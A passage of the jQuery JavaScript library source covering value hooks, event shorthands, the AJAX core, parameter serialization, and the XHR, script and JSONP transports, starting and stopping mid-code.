hasClass: function( selector ) {
var className = " " + selector + " ",
i = 0,
l = this.length;
for ( ; i < l; i++ ) {
if ( this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf( className ) >= 0 ) {
return true;
}
}
return false;
}
});
var rreturn = /\r/g;
jQuery.fn.extend({
val: function( value ) {
var hooks, ret, isFunction,
elem = this[0];
if ( !arguments.length ) {
if ( elem ) {
hooks = jQuery.valHooks[ elem.type ] || jQuery.valHooks[ elem.nodeName.toLowerCase() ];
if ( hooks && "get" in hooks && (ret = hooks.get( elem, "value" )) !== undefined ) {
return ret;
}
ret = elem.value;
return typeof ret === "string" ?
// handle most common string cases
ret.replace(rreturn, "") :
// handle cases where value is null/undef or number
ret == null ? "" : ret;
}
return;
}
isFunction = jQuery.isFunction( value );
return this.each(function( i ) {
var val;
if ( this.nodeType !== 1 ) {
return;
}
if ( isFunction ) {
val = value.call( this, i, jQuery( this ).val() );
} else {
val = value;
}
// Treat null/undefined as ""; convert numbers to string
if ( val == null ) {
val = "";
} else if ( typeof val === "number" ) {
val += "";
} else if ( jQuery.isArray( val ) ) {
val = jQuery.map( val, function( value ) {
return value == null ? "" : value + "";
});
}
hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];
// If set returns undefined, fall back to normal setting
if ( !hooks || !("set" in hooks) || hooks.set( this, val, "value" ) === undefined ) {
this.value = val;
}
});
}
});
jQuery.extend({
valHooks: {
select: {
get: function( elem ) {
var value, option,
options = elem.options,
index = elem.selectedIndex,
one = elem.type === "select-one" || index < 0,
values = one ? null : [],
max = one ? index + 1 : options.length,
i = index < 0 ?
max :
one ? index : 0;
// Loop through all the selected options
for ( ; i < max; i++ ) {
option = options[ i ];
// IE6-9 doesn't update selected after form reset (#2551)
if ( ( option.selected || i === index ) &&
// Don't return options that are disabled or in a disabled optgroup
( support.optDisabled ? !option.disabled : option.getAttribute( "disabled" ) === null ) &&
( !option.parentNode.disabled || !jQuery.nodeName( option.parentNode, "optgroup" ) ) ) {
// Get the specific value for the option
value = jQuery( option ).val();
// We don't need an array for one selects
if ( one ) {
return value;
}
// Multi-Selects return an array
values.push( value );
}
}
return values;
},
set: function( elem, value ) {
var optionSet, option,
options = elem.options,
values = jQuery.makeArray( value ),
i = options.length;
while ( i-- ) {
option = options[ i ];
if ( (option.selected = jQuery.inArray( jQuery(option).val(), values ) >= 0) ) {
optionSet = true;
}
}
// force browsers to behave consistently when non-matching value is set
if ( !optionSet ) {
elem.selectedIndex = -1;
}
return values;
}
}
}
});
// Radios and checkboxes getter/setter
jQuery.each([ "radio", "checkbox" ], function() {
jQuery.valHooks[ this ] = {
set: function( elem, value ) {
if ( jQuery.isArray( value ) ) {
return ( elem.checked = jQuery.inArray( jQuery(elem).val(), value ) >= 0 );
}
}
};
if ( !support.checkOn ) {
jQuery.valHooks[ this ].get = function( elem ) {
// Support: Webkit
// "" is returned instead of "on" if a value isn't specified
return elem.getAttribute("value") === null ? "on" : elem.value;
};
}
});
// Return jQuery for attributes-only inclusion
jQuery.each( ("blur focus focusin focusout load resize scroll unload click dblclick " +
"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " +
"change select submit keydown keypress keyup error contextmenu").split(" "), function( i, name ) {
// Handle event binding
jQuery.fn[ name ] = function( data, fn ) {
return arguments.length > 0 ?
this.on( name, null, data, fn ) :
this.trigger( name );
};
});
jQuery.fn.extend({
hover: function( fnOver, fnOut ) {
return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );
},
bind: function( types, data, fn ) {
return this.on( types, null, data, fn );
},
unbind: function( types, fn ) {
return this.off( types, null, fn );
},
delegate: function( selector, types, data, fn ) {
return this.on( types, selector, data, fn );
},
undelegate: function( selector, types, fn ) {
// ( namespace ) or ( selector, types [, fn] )
return arguments.length === 1 ? this.off( selector, "**" ) : this.off( types, selector || "**", fn );
}
});
var nonce = jQuery.now();
var rquery = (/\?/);
// Support: Android 2.3
// Workaround failure to string-cast null input
jQuery.parseJSON = function( data ) {
return JSON.parse( data + "" );
};
// Cross-browser xml parsing
jQuery.parseXML = function( data ) {
var xml, tmp;
if ( !data || typeof data !== "string" ) {
return null;
}
// Support: IE9
try {
tmp = new DOMParser();
xml = tmp.parseFromString( data, "text/xml" );
} catch ( e ) {
xml = undefined;
}
if ( !xml || xml.getElementsByTagName( "parsererror" ).length ) {
jQuery.error( "Invalid XML: " + data );
}
return xml;
};
var
// Document location
ajaxLocParts,
ajaxLocation,
rhash = /#.*$/,
rts = /([?&])_=[^&]*/,
rheaders = /^(.*?):[ \t]*([^\r\n]*)$/mg,
// #7653, #8125, #8152: local protocol detection
rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
rnoContent = /^(?:GET|HEAD)$/,
rprotocol = /^\/\//,
rurl = /^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,
/* Prefilters
* 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)
* 2) These are called:
* - BEFORE asking for a transport
* - AFTER param serialization (s.data is a string if s.processData is true)
* 3) key is the dataType
* 4) the catchall symbol "*" can be used
* 5) execution will start with transport dataType and THEN continue down to "*" if needed
*/
prefilters = {},
/* Transports bindings
* 1) key is the dataType
* 2) the catchall symbol "*" can be used
* 3) selection will start with transport dataType and THEN go to "*" if needed
*/
transports = {},
// Avoid comment-prolog char sequence (#10098); must appease lint and evade compression
allTypes = "*/".concat("*");
// #8138, IE may throw an exception when accessing
// a field from window.location if document.domain has been set
try {
ajaxLocation = location.href;
} catch( e ) {
// Use the href attribute of an A element
// since IE will modify it given document.location
ajaxLocation = document.createElement( "a" );
ajaxLocation.href = "";
ajaxLocation = ajaxLocation.href;
}
// Segment location into parts
ajaxLocParts = rurl.exec( ajaxLocation.toLowerCase() ) || [];
// Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport
function addToPrefiltersOrTransports( structure ) {
// dataTypeExpression is optional and defaults to "*"
return function( dataTypeExpression, func ) {
if ( typeof dataTypeExpression !== "string" ) {
func = dataTypeExpression;
dataTypeExpression = "*";
}
var dataType,
i = 0,
dataTypes = dataTypeExpression.toLowerCase().match( rnotwhite ) || [];
if ( jQuery.isFunction( func ) ) {
// For each dataType in the dataTypeExpression
while ( (dataType = dataTypes[i++]) ) {
// Prepend if requested
if ( dataType[0] === "+" ) {
dataType = dataType.slice( 1 ) || "*";
(structure[ dataType ] = structure[ dataType ] || []).unshift( func );
// Otherwise append
} else {
(structure[ dataType ] = structure[ dataType ] || []).push( func );
}
}
}
};
}
// Base inspection function for prefilters and transports
function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) {
var inspected = {},
seekingTransport = ( structure === transports );
function inspect( dataType ) {
var selected;
inspected[ dataType ] = true;
jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) {
var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR );
if ( typeof dataTypeOrTransport === "string" && !seekingTransport && !inspected[ dataTypeOrTransport ] ) {
options.dataTypes.unshift( dataTypeOrTransport );
inspect( dataTypeOrTransport );
return false;
} else if ( seekingTransport ) {
return !( selected = dataTypeOrTransport );
}
});
return selected;
}
return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" );
}
// A special extend for ajax options
// that takes "flat" options (not to be deep extended)
// Fixes #9887
function ajaxExtend( target, src ) {
var key, deep,
flatOptions = jQuery.ajaxSettings.flatOptions || {};
for ( key in src ) {
if ( src[ key ] !== undefined ) {
( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ];
}
}
if ( deep ) {
jQuery.extend( true, target, deep );
}
return target;
}
/* Handles responses to an ajax request:
* - finds the right dataType (mediates between content-type and expected dataType)
* - returns the corresponding response
*/
function ajaxHandleResponses( s, jqXHR, responses ) {
var ct, type, finalDataType, firstDataType,
contents = s.contents,
dataTypes = s.dataTypes;
// Remove auto dataType and get content-type in the process
while ( dataTypes[ 0 ] === "*" ) {
dataTypes.shift();
if ( ct === undefined ) {
ct = s.mimeType || jqXHR.getResponseHeader("Content-Type");
}
}
// Check if we're dealing with a known content-type
if ( ct ) {
for ( type in contents ) {
if ( contents[ type ] && contents[ type ].test( ct ) ) {
dataTypes.unshift( type );
break;
}
}
}
// Check to see if we have a response for the expected dataType
if ( dataTypes[ 0 ] in responses ) {
finalDataType = dataTypes[ 0 ];
} else {
// Try convertible dataTypes
for ( type in responses ) {
if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[0] ] ) {
finalDataType = type;
break;
}
if ( !firstDataType ) {
firstDataType = type;
}
}
// Or just use first one
finalDataType = finalDataType || firstDataType;
}
// If we found a dataType
// We add the dataType to the list if needed
// and return the corresponding response
if ( finalDataType ) {
if ( finalDataType !== dataTypes[ 0 ] ) {
dataTypes.unshift( finalDataType );
}
return responses[ finalDataType ];
}
}
/* Chain conversions given the request and the original response
* Also sets the responseXXX fields on the jqXHR instance
*/
function ajaxConvert( s, response, jqXHR, isSuccess ) {
var conv2, current, conv, tmp, prev,
converters = {},
// Work with a copy of dataTypes in case we need to modify it for conversion
dataTypes = s.dataTypes.slice();
// Create converters map with lowercased keys
if ( dataTypes[ 1 ] ) {
for ( conv in s.converters ) {
converters[ conv.toLowerCase() ] = s.converters[ conv ];
}
}
current = dataTypes.shift();
// Convert to each sequential dataType
while ( current ) {
if ( s.responseFields[ current ] ) {
jqXHR[ s.responseFields[ current ] ] = response;
}
// Apply the dataFilter if provided
if ( !prev && isSuccess && s.dataFilter ) {
response = s.dataFilter( response, s.dataType );
}
prev = current;
current = dataTypes.shift();
if ( current ) {
// There's only work to do if current dataType is non-auto
if ( current === "*" ) {
current = prev;
// Convert response if prev dataType is non-auto and differs from current
} else if ( prev !== "*" && prev !== current ) {
// Seek a direct converter
conv = converters[ prev + " " + current ] || converters[ "* " + current ];
// If none found, seek a pair
if ( !conv ) {
for ( conv2 in converters ) {
// If conv2 outputs current
tmp = conv2.split( " " );
if ( tmp[ 1 ] === current ) {
// If prev can be converted to accepted input
conv = converters[ prev + " " + tmp[ 0 ] ] ||
converters[ "* " + tmp[ 0 ] ];
if ( conv ) {
// Condense equivalence converters
if ( conv === true ) {
conv = converters[ conv2 ];
// Otherwise, insert the intermediate dataType
} else if ( converters[ conv2 ] !== true ) {
current = tmp[ 0 ];
dataTypes.unshift( tmp[ 1 ] );
}
break;
}
}
}
}
// Apply converter (if not an equivalence)
if ( conv !== true ) {
// Unless errors are allowed to bubble, catch and return them
if ( conv && s[ "throws" ] ) {
response = conv( response );
} else {
try {
response = conv( response );
} catch ( e ) {
return { state: "parsererror", error: conv ? e : "No conversion from " + prev + " to " + current };
}
}
}
}
}
}
return { state: "success", data: response };
}
jQuery.extend({
// Counter for holding the number of active queries
active: 0,
// Last-Modified header cache for next request
lastModified: {},
etag: {},
ajaxSettings: {
url: ajaxLocation,
type: "GET",
isLocal: rlocalProtocol.test( ajaxLocParts[ 1 ] ),
global: true,
processData: true,
async: true,
contentType: "application/x-www-form-urlencoded; charset=UTF-8",
/*
timeout: 0,
data: null,
dataType: null,
username: null,
password: null,
cache: null,
throws: false,
traditional: false,
headers: {},
*/
accepts: {
"*": allTypes,
text: "text/plain",
html: "text/html",
xml: "application/xml, text/xml",
json: "application/json, text/javascript"
},
contents: {
xml: /xml/,
html: /html/,
json: /json/
},
responseFields: {
xml: "responseXML",
text: "responseText",
json: "responseJSON"
},
// Data converters
// Keys separate source (or catchall "*") and destination types with a single space
converters: {
// Convert anything to text
"* text": String,
// Text to html (true = no transformation)
"text html": true,
// Evaluate text as a json expression
"text json": jQuery.parseJSON,
// Parse text as xml
"text xml": jQuery.parseXML
},
// For options that shouldn't be deep extended:
// you can add your own custom options here if
// and when you create one that shouldn't be
// deep extended (see ajaxExtend)
flatOptions: {
url: true,
context: true
}
},
// Creates a full fledged settings object into target
// with both ajaxSettings and settings fields.
// If target is omitted, writes into ajaxSettings.
ajaxSetup: function( target, settings ) {
return settings ?
// Building a settings object
ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) :
// Extending ajaxSettings
ajaxExtend( jQuery.ajaxSettings, target );
},
ajaxPrefilter: addToPrefiltersOrTransports( prefilters ),
ajaxTransport: addToPrefiltersOrTransports( transports ),
// Main method
ajax: function( url, options ) {
// If url is an object, simulate pre-1.5 signature
if ( typeof url === "object" ) {
options = url;
url = undefined;
}
// Force options to be an object
options = options || {};
var transport,
// URL without anti-cache param
cacheURL,
// Response headers
responseHeadersString,
responseHeaders,
// timeout handle
timeoutTimer,
// Cross-domain detection vars
parts,
// To know if global events are to be dispatched
fireGlobals,
// Loop variable
i,
// Create the final options object
s = jQuery.ajaxSetup( {}, options ),
// Callbacks context
callbackContext = s.context || s,
// Context for global events is callbackContext if it is a DOM node or jQuery collection
globalEventContext = s.context && ( callbackContext.nodeType || callbackContext.jquery ) ?
jQuery( callbackContext ) :
jQuery.event,
// Deferreds
deferred = jQuery.Deferred(),
completeDeferred = jQuery.Callbacks("once memory"),
// Status-dependent callbacks
statusCode = s.statusCode || {},
// Headers (they are sent all at once)
requestHeaders = {},
requestHeadersNames = {},
// The jqXHR state
state = 0,
// Default abort message
strAbort = "canceled",
// Fake xhr
jqXHR = {
readyState: 0,
// Builds headers hashtable if needed
getResponseHeader: function( key ) {
var match;
if ( state === 2 ) {
if ( !responseHeaders ) {
responseHeaders = {};
while ( (match = rheaders.exec( responseHeadersString )) ) {
responseHeaders[ match[1].toLowerCase() ] = match[ 2 ];
}
}
match = responseHeaders[ key.toLowerCase() ];
}
return match == null ? null : match;
},
// Raw string
getAllResponseHeaders: function() {
return state === 2 ? responseHeadersString : null;
},
// Caches the header
setRequestHeader: function( name, value ) {
var lname = name.toLowerCase();
if ( !state ) {
name = requestHeadersNames[ lname ] = requestHeadersNames[ lname ] || name;
requestHeaders[ name ] = value;
}
return this;
},
// Overrides response content-type header
overrideMimeType: function( type ) {
if ( !state ) {
s.mimeType = type;
}
return this;
},
// Status-dependent callbacks
statusCode: function( map ) {
var code;
if ( map ) {
if ( state < 2 ) {
for ( code in map ) {
// Lazy-add the new callback in a way that preserves old ones
statusCode[ code ] = [ statusCode[ code ], map[ code ] ];
}
} else {
// Execute the appropriate callbacks
jqXHR.always( map[ jqXHR.status ] );
}
}
return this;
},
// Cancel the request
abort: function( statusText ) {
var finalText = statusText || strAbort;
if ( transport ) {
transport.abort( finalText );
}
done( 0, finalText );
return this;
}
};
// Attach deferreds
deferred.promise( jqXHR ).complete = completeDeferred.add;
jqXHR.success = jqXHR.done;
jqXHR.error = jqXHR.fail;
// Remove hash character (#7531: and string promotion)
// Add protocol if not provided (prefilters might expect it)
// Handle falsy url in the settings object (#10093: consistency with old signature)
// We also use the url parameter if available
s.url = ( ( url || s.url || ajaxLocation ) + "" ).replace( rhash, "" )
.replace( rprotocol, ajaxLocParts[ 1 ] + "//" );
// Alias method option to type as per ticket #12004
s.type = options.method || options.type || s.method || s.type;
// Extract dataTypes list
s.dataTypes = jQuery.trim( s.dataType || "*" ).toLowerCase().match( rnotwhite ) || [ "" ];
// A cross-domain request is in order when we have a protocol:host:port mismatch
if ( s.crossDomain == null ) {
parts = rurl.exec( s.url.toLowerCase() );
s.crossDomain = !!( parts &&
( parts[ 1 ] !== ajaxLocParts[ 1 ] || parts[ 2 ] !== ajaxLocParts[ 2 ] ||
( parts[ 3 ] || ( parts[ 1 ] === "http:" ? "80" : "443" ) ) !==
( ajaxLocParts[ 3 ] || ( ajaxLocParts[ 1 ] === "http:" ? "80" : "443" ) ) )
);
}
// Convert data if not already a string
if ( s.data && s.processData && typeof s.data !== "string" ) {
s.data = jQuery.param( s.data, s.traditional );
}
// Apply prefilters
inspectPrefiltersOrTransports( prefilters, s, options, jqXHR );
// If request was aborted inside a prefilter, stop there
if ( state === 2 ) {
return jqXHR;
}
// We can fire global events as of now if asked to
fireGlobals = s.global;
// Watch for a new set of requests
if ( fireGlobals && jQuery.active++ === 0 ) {
jQuery.event.trigger("ajaxStart");
}
// Uppercase the type
s.type = s.type.toUpperCase();
// Determine if request has content
s.hasContent = !rnoContent.test( s.type );
// Save the URL in case we're toying with the If-Modified-Since
// and/or If-None-Match header later on
cacheURL = s.url;
// More options handling for requests with no content
if ( !s.hasContent ) {
// If data is available, append data to url
if ( s.data ) {
cacheURL = ( s.url += ( rquery.test( cacheURL ) ? "&" : "?" ) + s.data );
// #9682: remove data so that it's not used in an eventual retry
delete s.data;
}
// Add anti-cache in url if needed
if ( s.cache === false ) {
s.url = rts.test( cacheURL ) ?
// If there is already a '_' parameter, set its value
cacheURL.replace( rts, "$1_=" + nonce++ ) :
// Otherwise add one to the end
cacheURL + ( rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + nonce++;
}
}
// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
if ( s.ifModified ) {
if ( jQuery.lastModified[ cacheURL ] ) {
jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] );
}
if ( jQuery.etag[ cacheURL ] ) {
jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] );
}
}
// Set the correct header, if data is being sent
if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {
jqXHR.setRequestHeader( "Content-Type", s.contentType );
}
// Set the Accepts header for the server, depending on the dataType
jqXHR.setRequestHeader(
"Accept",
s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[0] ] ?
s.accepts[ s.dataTypes[0] ] + ( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) :
s.accepts[ "*" ]
);
// Check for headers option
for ( i in s.headers ) {
jqXHR.setRequestHeader( i, s.headers[ i ] );
}
// Allow custom headers/mimetypes and early abort
if ( s.beforeSend && ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || state === 2 ) ) {
// Abort if not done already and return
return jqXHR.abort();
}
// aborting is no longer a cancellation
strAbort = "abort";
// Install callbacks on deferreds
for ( i in { success: 1, error: 1, complete: 1 } ) {
jqXHR[ i ]( s[ i ] );
}
// Get transport
transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );
// If no transport, we auto-abort
if ( !transport ) {
done( -1, "No Transport" );
} else {
jqXHR.readyState = 1;
// Send global event
if ( fireGlobals ) {
globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] );
}
// Timeout
if ( s.async && s.timeout > 0 ) {
timeoutTimer = setTimeout(function() {
jqXHR.abort("timeout");
}, s.timeout );
}
try {
state = 1;
transport.send( requestHeaders, done );
} catch ( e ) {
// Propagate exception as error if not done
if ( state < 2 ) {
done( -1, e );
// Simply rethrow otherwise
} else {
throw e;
}
}
}
// Callback for when everything is done
function done( status, nativeStatusText, responses, headers ) {
var isSuccess, success, error, response, modified,
statusText = nativeStatusText;
// Called once
if ( state === 2 ) {
return;
}
// State is "done" now
state = 2;
// Clear timeout if it exists
if ( timeoutTimer ) {
clearTimeout( timeoutTimer );
}
// Dereference transport for early garbage collection
// (no matter how long the jqXHR object will be used)
transport = undefined;
// Cache response headers
responseHeadersString = headers || "";
// Set readyState
jqXHR.readyState = status > 0 ? 4 : 0;
// Determine if successful
isSuccess = status >= 200 && status < 300 || status === 304;
// Get response data
if ( responses ) {
response = ajaxHandleResponses( s, jqXHR, responses );
}
// Convert no matter what (that way responseXXX fields are always set)
response = ajaxConvert( s, response, jqXHR, isSuccess );
// If successful, handle type chaining
if ( isSuccess ) {
// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
if ( s.ifModified ) {
modified = jqXHR.getResponseHeader("Last-Modified");
if ( modified ) {
jQuery.lastModified[ cacheURL ] = modified;
}
modified = jqXHR.getResponseHeader("etag");
if ( modified ) {
jQuery.etag[ cacheURL ] = modified;
}
}
// if no content
if ( status === 204 || s.type === "HEAD" ) {
statusText = "nocontent";
// if not modified
} else if ( status === 304 ) {
statusText = "notmodified";
// If we have data, let's convert it
} else {
statusText = response.state;
success = response.data;
error = response.error;
isSuccess = !error;
}
} else {
// We extract error from statusText
// then normalize statusText and status for non-aborts
error = statusText;
if ( status || !statusText ) {
statusText = "error";
if ( status < 0 ) {
status = 0;
}
}
}
// Set data for the fake xhr object
jqXHR.status = status;
jqXHR.statusText = ( nativeStatusText || statusText ) + "";
// Success/Error
if ( isSuccess ) {
deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );
} else {
deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );
}
// Status-dependent callbacks
jqXHR.statusCode( statusCode );
statusCode = undefined;
if ( fireGlobals ) {
globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError",
[ jqXHR, s, isSuccess ? success : error ] );
}
// Complete
completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] );
if ( fireGlobals ) {
globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] );
// Handle the global AJAX counter
if ( !( --jQuery.active ) ) {
jQuery.event.trigger("ajaxStop");
}
}
}
return jqXHR;
},
getJSON: function( url, data, callback ) {
return jQuery.get( url, data, callback, "json" );
},
getScript: function( url, callback ) {
return jQuery.get( url, undefined, callback, "script" );
}
});
jQuery.each( [ "get", "post" ], function( i, method ) {
jQuery[ method ] = function( url, data, callback, type ) {
// shift arguments if data argument was omitted
if ( jQuery.isFunction( data ) ) {
type = type || callback;
callback = data;
data = undefined;
}
return jQuery.ajax({
url: url,
type: method,
dataType: type,
data: data,
success: callback
});
};
});
// Attach a bunch of functions for handling common AJAX events
jQuery.each( [ "ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend" ], function( i, type ) {
jQuery.fn[ type ] = function( fn ) {
return this.on( type, fn );
};
});
jQuery._evalUrl = function( url ) {
return jQuery.ajax({
url: url,
type: "GET",
dataType: "script",
async: false,
global: false,
"throws": true
});
};
jQuery.fn.extend({
wrapAll: function( html ) {
var wrap;
if ( jQuery.isFunction( html ) ) {
return this.each(function( i ) {
jQuery( this ).wrapAll( html.call(this, i) );
});
}
if ( this[ 0 ] ) {
// The elements to wrap the target around
wrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true );
if ( this[ 0 ].parentNode ) {
wrap.insertBefore( this[ 0 ] );
}
wrap.map(function() {
var elem = this;
while ( elem.firstElementChild ) {
elem = elem.firstElementChild;
}
return elem;
}).append( this );
}
return this;
},
wrapInner: function( html ) {
if ( jQuery.isFunction( html ) ) {
return this.each(function( i ) {
jQuery( this ).wrapInner( html.call(this, i) );
});
}
return this.each(function() {
var self = jQuery( this ),
contents = self.contents();
if ( contents.length ) {
contents.wrapAll( html );
} else {
self.append( html );
}
});
},
wrap: function( html ) {
var isFunction = jQuery.isFunction( html );
return this.each(function( i ) {
jQuery( this ).wrapAll( isFunction ? html.call(this, i) : html );
});
},
unwrap: function() {
return this.parent().each(function() {
if ( !jQuery.nodeName( this, "body" ) ) {
jQuery( this ).replaceWith( this.childNodes );
}
}).end();
}
});
jQuery.expr.filters.hidden = function( elem ) {
// Support: Opera <= 12.12
// Opera reports offsetWidths and offsetHeights less than zero on some elements
return elem.offsetWidth <= 0 && elem.offsetHeight <= 0;
};
jQuery.expr.filters.visible = function( elem ) {
return !jQuery.expr.filters.hidden( elem );
};
var r20 = /%20/g,
rbracket = /\[\]$/,
rCRLF = /\r?\n/g,
rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,
rsubmittable = /^(?:input|select|textarea|keygen)/i;
function buildParams( prefix, obj, traditional, add ) {
var name;
if ( jQuery.isArray( obj ) ) {
// Serialize array item.
jQuery.each( obj, function( i, v ) {
if ( traditional || rbracket.test( prefix ) ) {
// Treat each array item as a scalar.
add( prefix, v );
} else {
// Item is non-scalar (array or object), encode its numeric index.
buildParams( prefix + "[" + ( typeof v === "object" ? i : "" ) + "]", v, traditional, add );
}
});
} else if ( !traditional && jQuery.type( obj ) === "object" ) {
// Serialize object item.
for ( name in obj ) {
buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add );
}
} else {
// Serialize scalar item.
add( prefix, obj );
}
}
// Serialize an array of form elements or a set of
// key/values into a query string
jQuery.param = function( a, traditional ) {
var prefix,
s = [],
add = function( key, value ) {
// If value is a function, invoke it and return its value
value = jQuery.isFunction( value ) ? value() : ( value == null ? "" : value );
s[ s.length ] = encodeURIComponent( key ) + "=" + encodeURIComponent( value );
};
// Set traditional to true for jQuery <= 1.3.2 behavior.
if ( traditional === undefined ) {
traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional;
}
// If an array was passed in, assume that it is an array of form elements.
if ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {
// Serialize the form elements
jQuery.each( a, function() {
add( this.name, this.value );
});
} else {
// If traditional, encode the "old" way (the way 1.3.2 or older
// did it), otherwise encode params recursively.
for ( prefix in a ) {
buildParams( prefix, a[ prefix ], traditional, add );
}
}
// Return the resulting serialization
return s.join( "&" ).replace( r20, "+" );
};
jQuery.fn.extend({
serialize: function() {
return jQuery.param( this.serializeArray() );
},
serializeArray: function() {
return this.map(function() {
// Can add propHook for "elements" to filter or add form elements
var elements = jQuery.prop( this, "elements" );
return elements ? jQuery.makeArray( elements ) : this;
})
.filter(function() {
var type = this.type;
// Use .is( ":disabled" ) so that fieldset[disabled] works
return this.name && !jQuery( this ).is( ":disabled" ) &&
rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) &&
( this.checked || !rcheckableType.test( type ) );
})
.map(function( i, elem ) {
var val = jQuery( this ).val();
return val == null ?
null :
jQuery.isArray( val ) ?
jQuery.map( val, function( val ) {
return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
}) :
{ name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
}).get();
}
});
jQuery.ajaxSettings.xhr = function() {
try {
return new XMLHttpRequest();
} catch( e ) {}
};
var xhrId = 0,
xhrCallbacks = {},
xhrSuccessStatus = {
// file protocol always yields status code 0, assume 200
0: 200,
// Support: IE9
// #1450: sometimes IE returns 1223 when it should be 204
1223: 204
},
xhrSupported = jQuery.ajaxSettings.xhr();
// Support: IE9
// Open requests must be manually aborted on unload (#5280)
if ( window.ActiveXObject ) {
jQuery( window ).on( "unload", function() {
for ( var key in xhrCallbacks ) {
xhrCallbacks[ key ]();
}
});
}
support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported );
support.ajax = xhrSupported = !!xhrSupported;
jQuery.ajaxTransport(function( options ) {
var callback;
// Cross domain only allowed if supported through XMLHttpRequest
if ( support.cors || xhrSupported && !options.crossDomain ) {
return {
send: function( headers, complete ) {
var i,
xhr = options.xhr(),
id = ++xhrId;
xhr.open( options.type, options.url, options.async, options.username, options.password );
// Apply custom fields if provided
if ( options.xhrFields ) {
for ( i in options.xhrFields ) {
xhr[ i ] = options.xhrFields[ i ];
}
}
// Override mime type if needed
if ( options.mimeType && xhr.overrideMimeType ) {
xhr.overrideMimeType( options.mimeType );
}
// X-Requested-With header
// For cross-domain requests, seeing as conditions for a preflight are
// akin to a jigsaw puzzle, we simply never set it to be sure.
// (it can always be set on a per-request basis or even using ajaxSetup)
// For same-domain requests, won't change header if already provided.
if ( !options.crossDomain && !headers["X-Requested-With"] ) {
headers["X-Requested-With"] = "XMLHttpRequest";
}
// Set headers
for ( i in headers ) {
xhr.setRequestHeader( i, headers[ i ] );
}
// Callback
callback = function( type ) {
return function() {
if ( callback ) {
delete xhrCallbacks[ id ];
callback = xhr.onload = xhr.onerror = null;
if ( type === "abort" ) {
xhr.abort();
} else if ( type === "error" ) {
complete(
// file: protocol always yields status 0; see #8605, #14207
xhr.status,
xhr.statusText
);
} else {
complete(
xhrSuccessStatus[ xhr.status ] || xhr.status,
xhr.statusText,
// Support: IE9
// Accessing binary-data responseText throws an exception
// (#11426)
typeof xhr.responseText === "string" ? {
text: xhr.responseText
} : undefined,
xhr.getAllResponseHeaders()
);
}
}
};
};
// Listen to events
xhr.onload = callback();
xhr.onerror = callback("error");
// Create the abort callback
callback = xhrCallbacks[ id ] = callback("abort");
// Do send the request
// This may raise an exception which is actually
// handled in jQuery.ajax (so no try/catch here)
xhr.send( options.hasContent && options.data || null );
},
abort: function() {
if ( callback ) {
callback();
}
}
};
}
});
// Install script dataType
jQuery.ajaxSetup({
accepts: {
script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
},
contents: {
script: /(?:java|ecma)script/
},
converters: {
"text script": function( text ) {
jQuery.globalEval( text );
return text;
}
}
});
// Handle cache's special case and crossDomain
jQuery.ajaxPrefilter( "script", function( s ) {
if ( s.cache === undefined ) {
s.cache = false;
}
if ( s.crossDomain ) {
s.type = "GET";
}
});
// Bind script tag hack transport
jQuery.ajaxTransport( "script", function( s ) {
// This transport only deals with cross domain requests
if ( s.crossDomain ) {
var script, callback;
return {
send: function( _, complete ) {
script = jQuery("<script>").prop({
async: true,
charset: s.scriptCharset,
src: s.url
}).on(
"load error",
callback = function( evt ) {
script.remove();
callback = null;
if ( evt ) {
complete( evt.type === "error" ? 404 : 200, evt.type );
}
}
);
document.head.appendChild( script[ 0 ] );
},
abort: function() {
if ( callback ) {
callback();
}
}
};
}
});
var oldCallbacks = [],
rjsonp = /(=)\?(?=&|$)|\?\?/;
// Default jsonp settings
jQuery.ajaxSetup({
jsonp: "callback",
jsonpCallback: function() {
var callback = oldCallbacks.pop() || ( jQuery.expando + "_" + ( nonce++ ) );
this[ callback ] = true;
return callback;
}
});
// Detect, normalize options and install callbacks for jsonp requests
jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) {
var callbackName, overwritten, responseContainer,
jsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ?
